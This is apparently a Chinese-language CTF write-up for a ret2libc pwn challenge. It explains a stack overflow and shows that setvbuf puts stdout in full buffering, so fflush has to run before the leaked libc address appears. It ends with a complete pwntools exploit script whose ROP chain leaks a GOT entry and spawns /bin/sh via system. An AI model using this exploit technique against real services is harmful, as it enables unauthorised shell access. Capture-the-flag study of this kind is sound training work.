仅供个人学习参考

题目:https://raw.githubusercontent.com/GNchen1/Pages/main/Img/pwn

checksec
1
ida查看,有栈溢出
1
有个gift函数,这个有大用处
1

这题会发现按正常ret2libc3来打,会打不通

问题出在init
1
init函数里面,stdout设置成了全缓冲模式,这种情况下,只有缓冲区满了或者调用fflush才会输出,所以要在调用puts输出libc地址后再调用fflush,然后才能接受到地址

1
int setvbuf(FILE *stream, char *buf, int mode, size_t size);

stream: 是一个指向 FILE 结构体的指针,表示要设置缓冲方式的流,比如 stdin, stdout, stderr 等。
buf: 是一个指向用于存储数据的缓冲区的指针。根据不同的值,它可以是一个已分配的缓冲区的指针,也可以是 NULL 来禁用缓冲。
mode: 表示缓冲模式,可以取以下值:
_IOFBF:完全缓冲(Full buffering),数据在填满缓冲区或者调用 fflush 函数时才会写入文件,对应的数字是 0
_IOLBF:行缓冲(Line buffering),数据在换行符 \n 出现时写入文件,对应的数字是 1
_IONBF:无缓冲(No buffering),数据立即写入文件,没有缓冲,对应的数字是 2

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"
context.log_level="debug"
#context.terminal=['tmux','splitw','-h']
io=process("./pwn")
#gdb.attach(io,'b *0x00401241')
#io.recvuntil("ret2libc?")

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
_start_addr=elf.sym["main"]
read_got=elf.got['read']
#main_addr=0x0401203
pop_rdi_ret=0x00000000004012b3
ret=0x000000000040101a
addr=0x04011DD

payload=b'a'*40+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(addr)+p64(_start_addr)
io.sendline(payload)
puts_real_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_real_addr))

libc_addr=puts_real_addr-libc.sym['read']
print(hex(libc_addr))
systemaddr=libc_addr+libc.sym['system']
binsh=libc_addr+next(libc.search(b'/bin/sh'))

payload=b'\x00'*40+p64(pop_rdi_ret)+p64(binsh)+p64(systemaddr)+p64(0xaaaaaaaa)
io.sendline(payload)
#pause()
io.interactive()